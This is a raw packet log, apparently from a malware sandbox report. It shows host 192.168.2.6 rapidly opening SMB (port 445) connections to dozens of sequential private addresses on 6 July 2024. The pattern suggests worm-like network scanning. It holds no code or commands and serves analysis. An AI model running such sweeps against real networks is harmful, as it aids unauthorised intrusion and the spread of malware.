Jul 6, 2024 14:11:27.164854050 CEST	445	50711	192.168.0.84	192.168.2.6
Jul 6, 2024 14:11:27.164895058 CEST	50712	445	192.168.2.6	192.168.1.242
Jul 6, 2024 14:11:27.164916992 CEST	50711	445	192.168.2.6	192.168.0.84
Jul 6, 2024 14:11:27.165280104 CEST	445	50710	192.168.1.114	192.168.2.6
Jul 6, 2024 14:11:27.165539980 CEST	50711	445	192.168.2.6	192.168.0.84
Jul 6, 2024 14:11:27.169054031 CEST	50715	445	192.168.2.6	192.168.1.243
Jul 6, 2024 14:11:27.171220064 CEST	445	50713	192.168.1.115	192.168.2.6
Jul 6, 2024 14:11:27.171246052 CEST	445	50710	192.168.1.114	192.168.2.6
Jul 6, 2024 14:11:27.171278954 CEST	50713	445	192.168.2.6	192.168.1.115
Jul 6, 2024 14:11:27.171346903 CEST	50713	445	192.168.2.6	192.168.1.115
Jul 6, 2024 14:11:27.171461105 CEST	50712	445	192.168.2.6	192.168.1.242
Jul 6, 2024 14:11:27.171823025 CEST	445	50714	192.168.0.85	192.168.2.6
Jul 6, 2024 14:11:27.171833038 CEST	445	50712	192.168.1.242	192.168.2.6
Jul 6, 2024 14:11:27.172616959 CEST	50714	445	192.168.2.6	192.168.0.85
Jul 6, 2024 14:11:27.172616959 CEST	50714	445	192.168.2.6	192.168.0.85
Jul 6, 2024 14:11:27.178747892 CEST	50716	445	192.168.2.6	192.168.1.116
Jul 6, 2024 14:11:27.179805994 CEST	50717	445	192.168.2.6	192.168.1.244
Jul 6, 2024 14:11:27.181041002 CEST	50718	445	192.168.2.6	192.168.0.86
Jul 6, 2024 14:11:27.181560993 CEST	50712	445	192.168.2.6	192.168.1.242
Jul 6, 2024 14:11:27.194315910 CEST	50719	445	192.168.2.6	192.168.1.117
Jul 6, 2024 14:11:27.195384026 CEST	50720	445	192.168.2.6	192.168.0.87
Jul 6, 2024 14:11:27.196374893 CEST	50721	445	192.168.2.6	192.168.1.245
Jul 6, 2024 14:11:27.211517096 CEST	50722	445	192.168.2.6	192.168.1.246
Jul 6, 2024 14:11:27.212382078 CEST	50723	445	192.168.2.6	192.168.0.88
Jul 6, 2024 14:11:27.219276905 CEST	445	50711	192.168.0.84	192.168.2.6
Jul 6, 2024 14:11:27.220915079 CEST	445	50715	192.168.1.243	192.168.2.6
Jul 6, 2024 14:11:27.220932961 CEST	445	50713	192.168.1.115	192.168.2.6
Jul 6, 2024 14:11:27.220942020 CEST	445	50712	192.168.1.242	192.168.2.6
Jul 6, 2024 14:11:27.220987082 CEST	50715	445	192.168.2.6	192.168.1.243
Jul 6, 2024 14:11:27.221039057 CEST	445	50716	192.168.1.116	192.168.2.6
Jul 6, 2024 14:11:27.221065998 CEST	445	50717	192.168.1.244	192.168.2.6
Jul 6, 2024 14:11:27.221076965 CEST	50716	445	192.168.2.6	192.168.1.116
Jul 6, 2024 14:11:27.221154928 CEST	50715	445	192.168.2.6	192.168.1.243
Jul 6, 2024 14:11:27.221293926 CEST	50716	445	192.168.2.6	192.168.1.116
Jul 6, 2024 14:11:27.221585035 CEST	445	50718	192.168.0.86	192.168.2.6
Jul 6, 2024 14:11:27.221647978 CEST	445	50711	192.168.0.84	192.168.2.6
Jul 6, 2024 14:11:27.221679926 CEST	445	50719	192.168.1.117	192.168.2.6
Jul 6, 2024 14:11:27.221688986 CEST	445	50720	192.168.0.87	192.168.2.6
Jul 6, 2024 14:11:27.221698046 CEST	445	50721	192.168.1.245	192.168.2.6
Jul 6, 2024 14:11:27.221755028 CEST	445	50722	192.168.1.246	192.168.2.6
Jul 6, 2024 14:11:27.221765041 CEST	445	50723	192.168.0.88	192.168.2.6
Jul 6, 2024 14:11:27.221770048 CEST	50718	445	192.168.2.6	192.168.0.86
Jul 6, 2024 14:11:27.221821070 CEST	50719	445	192.168.2.6	192.168.1.117
Jul 6, 2024 14:11:27.222182989 CEST	50717	445	192.168.2.6	192.168.1.244
Jul 6, 2024 14:11:27.222182989 CEST	50717	445	192.168.2.6	192.168.1.244
Jul 6, 2024 14:11:27.222182989 CEST	50711	445	192.168.2.6	192.168.0.84
Jul 6, 2024 14:11:27.223575115 CEST	50720	445	192.168.2.6	192.168.0.87
Jul 6, 2024 14:11:27.223576069 CEST	50721	445	192.168.2.6	192.168.1.245
Jul 6, 2024 14:11:27.223576069 CEST	50722	445	192.168.2.6	192.168.1.246
Jul 6, 2024 14:11:27.223576069 CEST	50720	445	192.168.2.6	192.168.0.87
Jul 6, 2024 14:11:27.223576069 CEST	50721	445	192.168.2.6	192.168.1.245
Jul 6, 2024 14:11:27.223576069 CEST	50722	445	192.168.2.6	192.168.1.246
Jul 6, 2024 14:11:27.225188017 CEST	445	50714	192.168.0.85	192.168.2.6
Jul 6, 2024 14:11:27.226658106 CEST	445	50713	192.168.1.115	192.168.2.6
Jul 6, 2024 14:11:27.226943970 CEST	445	50716	192.168.1.116	192.168.2.6
Jul 6, 2024 14:11:27.227977991 CEST	445	50714	192.168.0.85	192.168.2.6
Jul 6, 2024 14:11:27.228219032 CEST	445	50715	192.168.1.243	192.168.2.6
Jul 6, 2024 14:11:27.228228092 CEST	445	50715	192.168.1.243	192.168.2.6
Jul 6, 2024 14:11:27.228236914 CEST	445	50716	192.168.1.116	192.168.2.6
Jul 6, 2024 14:11:27.229489088 CEST	445	50719	192.168.1.117	192.168.2.6
Jul 6, 2024 14:11:27.229748964 CEST	445	50720	192.168.0.87	192.168.2.6
Jul 6, 2024 14:11:27.231537104 CEST	50719	445	192.168.2.6	192.168.1.117
Jul 6, 2024 14:11:27.231537104 CEST	50727	445	192.168.2.6	192.168.1.247
Jul 6, 2024 14:11:27.231537104 CEST	50719	445	192.168.2.6	192.168.1.117
Jul 6, 2024 14:11:27.233514071 CEST	445	50717	192.168.1.244	192.168.2.6
Jul 6, 2024 14:11:27.233829021 CEST	50723	445	192.168.2.6	192.168.0.88
Jul 6, 2024 14:11:27.233829021 CEST	50723	445	192.168.2.6	192.168.0.88
Jul 6, 2024 14:11:27.234354973 CEST	50718	445	192.168.2.6	192.168.0.86
Jul 6, 2024 14:11:27.234354973 CEST	50724	445	192.168.2.6	192.168.1.118
Jul 6, 2024 14:11:27.234354973 CEST	50725	445	192.168.2.6	192.168.1.119
Jul 6, 2024 14:11:27.235352039 CEST	50714	445	192.168.2.6	192.168.0.85
Jul 6, 2024 14:11:27.235352039 CEST	50717	445	192.168.2.6	192.168.1.244
Jul 6, 2024 14:11:27.236351013 CEST	50726	445	192.168.2.6	192.168.0.89
Jul 6, 2024 14:11:27.236506939 CEST	445	50719	192.168.1.117	192.168.2.6
Jul 6, 2024 14:11:27.237055063 CEST	50720	445	192.168.2.6	192.168.0.87
Jul 6, 2024 14:11:27.237375021 CEST	445	50727	192.168.1.247	192.168.2.6
Jul 6, 2024 14:11:27.237505913 CEST	445	50721	192.168.1.245	192.168.2.6
Jul 6, 2024 14:11:27.237517118 CEST	445	50722	192.168.1.246	192.168.2.6
Jul 6, 2024 14:11:27.239993095 CEST	445	50718	192.168.0.86	192.168.2.6
Jul 6, 2024 14:11:27.241728067 CEST	445	50719	192.168.1.117	192.168.2.6
Jul 6, 2024 14:11:27.241864920 CEST	445	50720	192.168.0.87	192.168.2.6
Jul 6, 2024 14:11:27.241873980 CEST	445	50721	192.168.1.245	192.168.2.6
Jul 6, 2024 14:11:27.241883993 CEST	445	50722	192.168.1.246	192.168.2.6
Jul 6, 2024 14:11:27.243201971 CEST	445	50726	192.168.0.89	192.168.2.6
Jul 6, 2024 14:11:27.243275881 CEST	50726	445	192.168.2.6	192.168.0.89
Jul 6, 2024 14:11:27.243483067 CEST	50726	445	192.168.2.6	192.168.0.89
Jul 6, 2024 14:11:27.243483067 CEST	50729	445	192.168.2.6	192.168.0.90
Jul 6, 2024 14:11:27.248176098 CEST	445	50724	192.168.1.118	192.168.2.6
Jul 6, 2024 14:11:27.248186111 CEST	445	50725	192.168.1.119	192.168.2.6
Jul 6, 2024 14:11:27.248717070 CEST	445	50726	192.168.0.89	192.168.2.6
Jul 6, 2024 14:11:27.248827934 CEST	445	50726	192.168.0.89	192.168.2.6
Jul 6, 2024 14:11:27.248836994 CEST	445	50729	192.168.0.90	192.168.2.6
Jul 6, 2024 14:11:27.251240969 CEST	50727	445	192.168.2.6	192.168.1.247
Jul 6, 2024 14:11:27.251240969 CEST	50727	445	192.168.2.6	192.168.1.247
Jul 6, 2024 14:11:27.251368999 CEST	445	50723	192.168.0.88	192.168.2.6
Jul 6, 2024 14:11:27.253660917 CEST	50726	445	192.168.2.6	192.168.0.89
Jul 6, 2024 14:11:27.253660917 CEST	50729	445	192.168.2.6	192.168.0.90
Jul 6, 2024 14:11:27.253660917 CEST	50729	445	192.168.2.6	192.168.0.90
Jul 6, 2024 14:11:27.253897905 CEST	50728	445	192.168.2.6	192.168.1.120
Jul 6, 2024 14:11:27.257376909 CEST	445	50727	192.168.1.247	192.168.2.6
Jul 6, 2024 14:11:27.257668972 CEST	50718	445	192.168.2.6	192.168.0.86
Jul 6, 2024 14:11:27.257668972 CEST	50724	445	192.168.2.6	192.168.1.118
Jul 6, 2024 14:11:27.257668972 CEST	50725	445	192.168.2.6	192.168.1.119
Jul 6, 2024 14:11:27.257668972 CEST	50724	445	192.168.2.6	192.168.1.118
Jul 6, 2024 14:11:27.258766890 CEST	50727	445	192.168.2.6	192.168.1.247
Jul 6, 2024 14:11:27.258927107 CEST	50732	445	192.168.2.6	192.168.1.249
Jul 6, 2024 14:11:27.259160042 CEST	445	50728	192.168.1.120	192.168.2.6
Jul 6, 2024 14:11:27.259464025 CEST	445	50729	192.168.0.90	192.168.2.6
Jul 6, 2024 14:11:27.259855986 CEST	50721	445	192.168.2.6	192.168.1.245
Jul 6, 2024 14:11:27.259855986 CEST	50722	445	192.168.2.6	192.168.1.246
Jul 6, 2024 14:11:27.261859894 CEST	50715	445	192.168.2.6	192.168.1.243
Jul 6, 2024 14:11:27.261859894 CEST	50730	445	192.168.2.6	192.168.1.248
Jul 6, 2024 14:11:27.261861086 CEST	50723	445	192.168.2.6	192.168.0.88
Jul 6, 2024 14:11:27.263046026 CEST	50725	445	192.168.2.6	192.168.1.119
Jul 6, 2024 14:11:27.263859987 CEST	445	50732	192.168.1.249	192.168.2.6
Jul 6, 2024 14:11:27.264362097 CEST	50728	445	192.168.2.6	192.168.1.120
Jul 6, 2024 14:11:27.264362097 CEST	50728	445	192.168.2.6	192.168.1.120
Jul 6, 2024 14:11:27.264728069 CEST	50729	445	192.168.2.6	192.168.0.90
Jul 6, 2024 14:11:27.264728069 CEST	50733	445	192.168.2.6	192.168.0.91
Jul 6, 2024 14:11:27.264728069 CEST	50732	445	192.168.2.6	192.168.1.249
Jul 6, 2024 14:11:27.264728069 CEST	50732	445	192.168.2.6	192.168.1.249
Jul 6, 2024 14:11:27.266376019 CEST	445	50723	192.168.0.88	192.168.2.6
Jul 6, 2024 14:11:27.266905069 CEST	445	50724	192.168.1.118	192.168.2.6
Jul 6, 2024 14:11:27.267312050 CEST	445	50724	192.168.1.118	192.168.2.6
Jul 6, 2024 14:11:27.267322063 CEST	445	50725	192.168.1.119	192.168.2.6
Jul 6, 2024 14:11:27.269094944 CEST	445	50725	192.168.1.119	192.168.2.6
Jul 6, 2024 14:11:27.270172119 CEST	50731	445	192.168.2.6	192.168.1.121
Jul 6, 2024 14:11:27.272237062 CEST	445	50728	192.168.1.120	192.168.2.6
Jul 6, 2024 14:11:27.272702932 CEST	445	50728	192.168.1.120	192.168.2.6
Jul 6, 2024 14:11:27.274243116 CEST	50735	445	192.168.2.6	192.168.1.250
Jul 6, 2024 14:11:27.275361061 CEST	50724	445	192.168.2.6	192.168.1.118
Jul 6, 2024 14:11:27.275361061 CEST	50725	445	192.168.2.6	192.168.1.119
Jul 6, 2024 14:11:27.276134014 CEST	445	50733	192.168.0.91	192.168.2.6
Jul 6, 2024 14:11:27.276388884 CEST	445	50731	192.168.1.121	192.168.2.6
Jul 6, 2024 14:11:27.276904106 CEST	445	50732	192.168.1.249	192.168.2.6
Jul 6, 2024 14:11:27.277810097 CEST	445	50730	192.168.1.248	192.168.2.6
Jul 6, 2024 14:11:27.278033972 CEST	50733	445	192.168.2.6	192.168.0.91
Jul 6, 2024 14:11:27.278034925 CEST	50732	445	192.168.2.6	192.168.1.249
Jul 6, 2024 14:11:27.281291962 CEST	445	50735	192.168.1.250	192.168.2.6
Jul 6, 2024 14:11:27.282434940 CEST	50734	445	192.168.2.6	192.168.1.122
Jul 6, 2024 14:11:27.282434940 CEST	50731	445	192.168.2.6	192.168.1.121
Jul 6, 2024 14:11:27.282989025 CEST	50730	445	192.168.2.6	192.168.1.248
Jul 6, 2024 14:11:27.285700083 CEST	50735	445	192.168.2.6	192.168.1.250
Jul 6, 2024 14:11:27.287620068 CEST	445	50724	192.168.1.118	192.168.2.6
Jul 6, 2024 14:11:27.287728071 CEST	445	50725	192.168.1.119	192.168.2.6
Jul 6, 2024 14:11:27.287894011 CEST	445	50734	192.168.1.122	192.168.2.6
Jul 6, 2024 14:11:27.289386988 CEST	50733	445	192.168.2.6	192.168.0.91
Jul 6, 2024 14:11:27.289386988 CEST	50735	445	192.168.2.6	192.168.1.250
Jul 6, 2024 14:11:27.291621923 CEST	445	50731	192.168.1.121	192.168.2.6
Jul 6, 2024 14:11:27.292892933 CEST	445	50735	192.168.1.250	192.168.2.6
Jul 6, 2024 14:11:27.296318054 CEST	50735	445	192.168.2.6	192.168.1.250
Jul 6, 2024 14:11:27.297897100 CEST	50730	445	192.168.2.6	192.168.1.248
Jul 6, 2024 14:11:27.297897100 CEST	50736	445	192.168.2.6	192.168.0.92
Jul 6, 2024 14:11:27.297945976 CEST	445	50735	192.168.1.250	192.168.2.6
Jul 6, 2024 14:11:27.297955036 CEST	445	50733	192.168.0.91	192.168.2.6
Jul 6, 2024 14:11:27.299185991 CEST	50731	445	192.168.2.6	192.168.1.121
Jul 6, 2024 14:11:27.299185991 CEST	50734	445	192.168.2.6	192.168.1.122
Jul 6, 2024 14:11:27.299185991 CEST	50734	445	192.168.2.6	192.168.1.122
Jul 6, 2024 14:11:27.299185991 CEST	50731	445	192.168.2.6	192.168.1.121
Jul 6, 2024 14:11:27.303420067 CEST	50737	445	192.168.2.6	192.168.1.123
Jul 6, 2024 14:11:27.303786993 CEST	445	50730	192.168.1.248	192.168.2.6
Jul 6, 2024 14:11:27.304014921 CEST	445	50730	192.168.1.248	192.168.2.6
Jul 6, 2024 14:11:27.304024935 CEST	445	50736	192.168.0.92	192.168.2.6
Jul 6, 2024 14:11:27.304235935 CEST	50733	445	192.168.2.6	192.168.0.91
Jul 6, 2024 14:11:27.306864977 CEST	50730	445	192.168.2.6	192.168.1.248
Jul 6, 2024 14:11:27.306864977 CEST	50736	445	192.168.2.6	192.168.0.92
Jul 6, 2024 14:11:27.308382988 CEST	445	50731	192.168.1.121	192.168.2.6
Jul 6, 2024 14:11:27.308684111 CEST	50738	445	192.168.2.6	192.168.1.124
Jul 6, 2024 14:11:27.309334040 CEST	445	50734	192.168.1.122	192.168.2.6
Jul 6, 2024 14:11:27.309463978 CEST	445	50734	192.168.1.122	192.168.2.6
Jul 6, 2024 14:11:27.311825991 CEST	50736	445	192.168.2.6	192.168.0.92
Jul 6, 2024 14:11:27.312519073 CEST	445	50731	192.168.1.121	192.168.2.6
Jul 6, 2024 14:11:27.313893080 CEST	445	50736	192.168.0.92	192.168.2.6
Jul 6, 2024 14:11:27.315375090 CEST	50739	445	192.168.2.6	192.168.0.93
Jul 6, 2024 14:11:27.315666914 CEST	445	50738	192.168.1.124	192.168.2.6
Jul 6, 2024 14:11:27.315763950 CEST	50738	445	192.168.2.6	192.168.1.124
Jul 6, 2024 14:11:27.318964958 CEST	50738	445	192.168.2.6	192.168.1.124
Jul 6, 2024 14:11:27.319885969 CEST	445	50736	192.168.0.92	192.168.2.6
Jul 6, 2024 14:11:27.320228100 CEST	50736	445	192.168.2.6	192.168.0.92
Jul 6, 2024 14:11:27.321033001 CEST	445	50739	192.168.0.93	192.168.2.6
Jul 6, 2024 14:11:27.321676970 CEST	445	50738	192.168.1.124	192.168.2.6
Jul 6, 2024 14:11:27.321722031 CEST	50738	445	192.168.2.6	192.168.1.124
Jul 6, 2024 14:11:27.322679043 CEST	50739	445	192.168.2.6	192.168.0.93
Jul 6, 2024 14:11:27.323004007 CEST	50739	445	192.168.2.6	192.168.0.93
Jul 6, 2024 14:11:27.324419022 CEST	445	50738	192.168.1.124	192.168.2.6
Jul 6, 2024 14:11:27.326656103 CEST	50740	445	192.168.2.6	192.168.1.251
Jul 6, 2024 14:11:27.327333927 CEST	445	50738	192.168.1.124	192.168.2.6
Jul 6, 2024 14:11:27.329168081 CEST	445	50737	192.168.1.123	192.168.2.6
Jul 6, 2024 14:11:27.329488993 CEST	445	50739	192.168.0.93	192.168.2.6
Jul 6, 2024 14:11:27.331849098 CEST	50739	445	192.168.2.6	192.168.0.93
Jul 6, 2024 14:11:27.331917048 CEST	445	50740	192.168.1.251	192.168.2.6
Jul 6, 2024 14:11:27.334958076 CEST	50740	445	192.168.2.6	192.168.1.251
Jul 6, 2024 14:11:27.334958076 CEST	50740	445	192.168.2.6	192.168.1.251
Jul 6, 2024 14:11:27.349132061 CEST	445	50740	192.168.1.251	192.168.2.6
Jul 6, 2024 14:11:27.349216938 CEST	50740	445	192.168.2.6	192.168.1.251
Jul 6, 2024 14:11:27.360192060 CEST	50737	445	192.168.2.6	192.168.1.123
Jul 6, 2024 14:11:27.360192060 CEST	50737	445	192.168.2.6	192.168.1.123
Jul 6, 2024 14:11:27.379621029 CEST	445	50737	192.168.1.123	192.168.2.6
Jul 6, 2024 14:11:27.381112099 CEST	50741	445	192.168.2.6	192.168.1.125
Jul 6, 2024 14:11:27.383704901 CEST	445	50737	192.168.1.123	192.168.2.6
Jul 6, 2024 14:11:27.386260986 CEST	445	50741	192.168.1.125	192.168.2.6
Jul 6, 2024 14:11:27.391043901 CEST	50741	445	192.168.2.6	192.168.1.125
Jul 6, 2024 14:11:27.398825884 CEST	50744	445	192.168.2.6	192.168.1.128
Jul 6, 2024 14:11:27.399882078 CEST	50741	445	192.168.2.6	192.168.1.125
Jul 6, 2024 14:11:27.399882078 CEST	50742	445	192.168.2.6	192.168.1.126
Jul 6, 2024 14:11:27.399882078 CEST	50743	445	192.168.2.6	192.168.1.127
Jul 6, 2024 14:11:27.404181004 CEST	445	50744	192.168.1.128	192.168.2.6
Jul 6, 2024 14:11:27.404947042 CEST	445	50741	192.168.1.125	192.168.2.6
Jul 6, 2024 14:11:27.404946089 CEST	50747	445	192.168.2.6	192.168.1.252
Jul 6, 2024 14:11:27.405221939 CEST	445	50742	192.168.1.126	192.168.2.6
Jul 6, 2024 14:11:27.405510902 CEST	50748	445	192.168.2.6	192.168.0.94
Jul 6, 2024 14:11:27.405558109 CEST	445	50741	192.168.1.125	192.168.2.6
Jul 6, 2024 14:11:27.406699896 CEST	50742	445	192.168.2.6	192.168.1.126
Jul 6, 2024 14:11:27.406699896 CEST	50742	445	192.168.2.6	192.168.1.126
Jul 6, 2024 14:11:27.406791925 CEST	50749	445	192.168.2.6	192.168.1.253
Jul 6, 2024 14:11:27.407428026 CEST	50745	445	192.168.2.6	192.168.1.129
Jul 6, 2024 14:11:27.407428026 CEST	50746	445	192.168.2.6	192.168.1.130
Jul 6, 2024 14:11:27.407428026 CEST	50744	445	192.168.2.6	192.168.1.128
Jul 6, 2024 14:11:27.407428026 CEST	50744	445	192.168.2.6	192.168.1.128
Jul 6, 2024 14:11:27.407598019 CEST	50750	445	192.168.2.6	192.168.0.95
Jul 6, 2024 14:11:27.408453941 CEST	445	50743	192.168.1.127	192.168.2.6
Jul 6, 2024 14:11:27.408948898 CEST	50751	445	192.168.2.6	192.168.0.96
Jul 6, 2024 14:11:27.409452915 CEST	50743	445	192.168.2.6	192.168.1.127
Jul 6, 2024 14:11:27.409452915 CEST	50743	445	192.168.2.6	192.168.1.127
Jul 6, 2024 14:11:27.409894943 CEST	445	50747	192.168.1.252	192.168.2.6
Jul 6, 2024 14:11:27.409964085 CEST	50747	445	192.168.2.6	192.168.1.252
Jul 6, 2024 14:11:27.410032034 CEST	50747	445	192.168.2.6	192.168.1.252
Jul 6, 2024 14:11:27.410710096 CEST	445	50748	192.168.0.94	192.168.2.6
Jul 6, 2024 14:11:27.410764933 CEST	50748	445	192.168.2.6	192.168.0.94
Jul 6, 2024 14:11:27.410825014 CEST	50748	445	192.168.2.6	192.168.0.94
Jul 6, 2024 14:11:27.411552906 CEST	50752	445	192.168.2.6	192.168.1.254
Jul 6, 2024 14:11:27.411792040 CEST	445	50742	192.168.1.126	192.168.2.6
Jul 6, 2024 14:11:27.411995888 CEST	445	50742	192.168.1.126	192.168.2.6
Jul 6, 2024 14:11:27.412005901 CEST	445	50749	192.168.1.253	192.168.2.6
Jul 6, 2024 14:11:27.412061930 CEST	50749	445	192.168.2.6	192.168.1.253
Jul 6, 2024 14:11:27.412142038 CEST	50749	445	192.168.2.6	192.168.1.253
Jul 6, 2024 14:11:27.412513018 CEST	445	50745	192.168.1.129	192.168.2.6
Jul 6, 2024 14:11:27.412682056 CEST	445	50746	192.168.1.130	192.168.2.6
Jul 6, 2024 14:11:27.412691116 CEST	445	50744	192.168.1.128	192.168.2.6
Jul 6, 2024 14:11:27.412776947 CEST	445	50750	192.168.0.95	192.168.2.6
Jul 6, 2024 14:11:27.412827015 CEST	50750	445	192.168.2.6	192.168.0.95
Jul 6, 2024 14:11:27.412919044 CEST	445	50744	192.168.1.128	192.168.2.6
Jul 6, 2024 14:11:27.414181948 CEST	445	50751	192.168.0.96	192.168.2.6
Jul 6, 2024 14:11:27.414251089 CEST	50751	445	192.168.2.6	192.168.0.96
Jul 6, 2024 14:11:27.414426088 CEST	50753	445	192.168.2.6	192.168.0.97
Jul 6, 2024 14:11:27.414426088 CEST	50745	445	192.168.2.6	192.168.1.129
Jul 6, 2024 14:11:27.414426088 CEST	50746	445	192.168.2.6	192.168.1.130
Jul 6, 2024 14:11:27.415751934 CEST	445	50747	192.168.1.252	192.168.2.6
Jul 6, 2024 14:11:27.415826082 CEST	50747	445	192.168.2.6	192.168.1.252
Jul 6, 2024 14:11:27.416313887 CEST	50750	445	192.168.2.6	192.168.0.95
Jul 6, 2024 14:11:27.416424036 CEST	445	50743	192.168.1.127	192.168.2.6
Jul 6, 2024 14:11:27.416615009 CEST	50751	445	192.168.2.6	192.168.0.96
Jul 6, 2024 14:11:27.416769981 CEST	445	50748	192.168.0.94	192.168.2.6
Jul 6, 2024 14:11:27.416825056 CEST	50748	445	192.168.2.6	192.168.0.94
Jul 6, 2024 14:11:27.417074919 CEST	445	50743	192.168.1.127	192.168.2.6
Jul 6, 2024 14:11:27.417324066 CEST	445	50749	192.168.1.253	192.168.2.6
Jul 6, 2024 14:11:27.417370081 CEST	50749	445	192.168.2.6	192.168.1.253
Jul 6, 2024 14:11:27.417479992 CEST	445	50752	192.168.1.254	192.168.2.6
Jul 6, 2024 14:11:27.417546034 CEST	50745	445	192.168.2.6	192.168.1.129
Jul 6, 2024 14:11:27.417546034 CEST	50746	445	192.168.2.6	192.168.1.130
Jul 6, 2024 14:11:27.418601990 CEST	445	50750	192.168.0.95	192.168.2.6
Jul 6, 2024 14:11:27.418699026 CEST	50754	445	192.168.2.6	192.168.1.255
Jul 6, 2024 14:11:27.418699026 CEST	50742	445	192.168.2.6	192.168.1.126
Jul 6, 2024 14:11:27.418699026 CEST	50752	445	192.168.2.6	192.168.1.254
Jul 6, 2024 14:11:27.419379950 CEST	50750	445	192.168.2.6	192.168.0.95
Jul 6, 2024 14:11:27.419420004 CEST	445	50753	192.168.0.97	192.168.2.6
Jul 6, 2024 14:11:27.420015097 CEST	445	50751	192.168.0.96	192.168.2.6
Jul 6, 2024 14:11:27.420079947 CEST	50751	445	192.168.2.6	192.168.0.96
Jul 6, 2024 14:11:27.420248985 CEST	445	50745	192.168.1.129	192.168.2.6
Jul 6, 2024 14:11:27.421973944 CEST	445	50746	192.168.1.130	192.168.2.6
Jul 6, 2024 14:11:27.421988964 CEST	445	50750	192.168.0.95	192.168.2.6
Jul 6, 2024 14:11:27.422015905 CEST	445	50751	192.168.0.96	192.168.2.6
Jul 6, 2024 14:11:27.422943115 CEST	445	50745	192.168.1.129	192.168.2.6
Jul 6, 2024 14:11:27.422960043 CEST	445	50746	192.168.1.130	192.168.2.6
Jul 6, 2024 14:11:27.424088001 CEST	445	50754	192.168.1.255	192.168.2.6
Jul 6, 2024 14:11:27.424096107 CEST	445	50742	192.168.1.126	192.168.2.6
Jul 6, 2024 14:11:27.424113035 CEST	445	50752	192.168.1.254	192.168.2.6
Jul 6, 2024 14:11:27.424141884 CEST	50754	445	192.168.2.6	192.168.1.255
Jul 6, 2024 14:11:27.424186945 CEST	50752	445	192.168.2.6	192.168.1.254
Jul 6, 2024 14:11:27.426342964 CEST	50752	445	192.168.2.6	192.168.1.254
Jul 6, 2024 14:11:27.428016901 CEST	50753	445	192.168.2.6	192.168.0.97
Jul 6, 2024 14:11:27.428016901 CEST	50745	445	192.168.2.6	192.168.1.129
Jul 6, 2024 14:11:27.428016901 CEST	50746	445	192.168.2.6	192.168.1.130
Jul 6, 2024 14:11:27.431124926 CEST	445	50754	192.168.1.255	192.168.2.6
Jul 6, 2024 14:11:27.431180000 CEST	50754	445	192.168.2.6	192.168.1.255
Jul 6, 2024 14:11:27.433747053 CEST	445	50752	192.168.1.254	192.168.2.6
Jul 6, 2024 14:11:27.433918953 CEST	50753	445	192.168.2.6	192.168.0.97
Jul 6, 2024 14:11:27.434323072 CEST	445	50745	192.168.1.129	192.168.2.6
Jul 6, 2024 14:11:27.434372902 CEST	445	50746	192.168.1.130	192.168.2.6
Jul 6, 2024 14:11:27.434973955 CEST	445	50753	192.168.0.97	192.168.2.6
Jul 6, 2024 14:11:27.444396019 CEST	445	50753	192.168.0.97	192.168.2.6
Jul 6, 2024 14:11:27.445184946 CEST	50753	445	192.168.2.6	192.168.0.97
Jul 6, 2024 14:11:27.446749926 CEST	50754	445	192.168.2.6	192.168.1.255
Jul 6, 2024 14:11:27.451982975 CEST	445	50754	192.168.1.255	192.168.2.6
Jul 6, 2024 14:11:27.461920023 CEST	50756	445	192.168.2.6	192.168.1.132
Jul 6, 2024 14:11:27.461920023 CEST	50757	445	192.168.2.6	192.168.1.133
Jul 6, 2024 14:11:27.463740110 CEST	50755	445	192.168.2.6	192.168.1.131
Jul 6, 2024 14:11:27.467153072 CEST	445	50756	192.168.1.132	192.168.2.6
Jul 6, 2024 14:11:27.467163086 CEST	445	50757	192.168.1.133	192.168.2.6
Jul 6, 2024 14:11:27.467159986 CEST	50760	445	192.168.2.6	192.168.0.99
Jul 6, 2024 14:11:27.467219114 CEST	50756	445	192.168.2.6	192.168.1.132
Jul 6, 2024 14:11:27.467277050 CEST	50757	445	192.168.2.6	192.168.1.133
Jul 6, 2024 14:11:27.468180895 CEST	50756	445	192.168.2.6	192.168.1.132
Jul 6, 2024 14:11:27.468223095 CEST	50757	445	192.168.2.6	192.168.1.133
Jul 6, 2024 14:11:27.471566916 CEST	50759	445	192.168.2.6	192.168.0.98
Jul 6, 2024 14:11:27.472994089 CEST	445	50756	192.168.1.132	192.168.2.6
Jul 6, 2024 14:11:27.473004103 CEST	445	50757	192.168.1.133	192.168.2.6
Jul 6, 2024 14:11:27.473042965 CEST	50756	445	192.168.2.6	192.168.1.132
Jul 6, 2024 14:11:27.473067045 CEST	50757	445	192.168.2.6	192.168.1.133
Jul 6, 2024 14:11:27.473157883 CEST	445	50756	192.168.1.132	192.168.2.6
Jul 6, 2024 14:11:27.473165989 CEST	445	50757	192.168.1.133	192.168.2.6
Jul 6, 2024 14:11:27.476496935 CEST	445	50755	192.168.1.131	192.168.2.6
Jul 6, 2024 14:11:27.476548910 CEST	50755	445	192.168.2.6	192.168.1.131
Jul 6, 2024 14:11:27.476608038 CEST	445	50760	192.168.0.99	192.168.2.6
Jul 6, 2024 14:11:27.476908922 CEST	50760	445	192.168.2.6	192.168.0.99
Jul 6, 2024 14:11:27.478135109 CEST	445	50756	192.168.1.132	192.168.2.6
Jul 6, 2024 14:11:27.478621960 CEST	445	50757	192.168.1.133	192.168.2.6
Jul 6, 2024 14:11:27.478805065 CEST	445	50759	192.168.0.98	192.168.2.6
Jul 6, 2024 14:11:27.478847027 CEST	50759	445	192.168.2.6	192.168.0.98
Jul 6, 2024 14:11:27.483419895 CEST	445	50755	192.168.1.131	192.168.2.6
Jul 6, 2024 14:11:27.483460903 CEST	50755	445	192.168.2.6	192.168.1.131
Jul 6, 2024 14:11:27.483783007 CEST	445	50760	192.168.0.99	192.168.2.6
Jul 6, 2024 14:11:27.484232903 CEST	445	50759	192.168.0.98	192.168.2.6
Jul 6, 2024 14:11:27.484291077 CEST	50759	445	192.168.2.6	192.168.0.98
Jul 6, 2024 14:11:27.484292984 CEST	50760	445	192.168.2.6	192.168.0.99
Jul 6, 2024 14:11:27.504534006 CEST	50755	445	192.168.2.6	192.168.1.131
Jul 6, 2024 14:11:27.510236025 CEST	445	50755	192.168.1.131	192.168.2.6
Jul 6, 2024 14:11:27.510258913 CEST	50759	445	192.168.2.6	192.168.0.98
Jul 6, 2024 14:11:27.510510921 CEST	50760	445	192.168.2.6	192.168.0.99
Jul 6, 2024 14:11:27.517519951 CEST	445	50759	192.168.0.98	192.168.2.6
Jul 6, 2024 14:11:27.520131111 CEST	445	50760	192.168.0.99	192.168.2.6
Jul 6, 2024 14:11:27.522674084 CEST	50764	445	192.168.2.6	192.168.1.136
Jul 6, 2024 14:11:27.524305105 CEST	50762	445	192.168.2.6	192.168.1.134
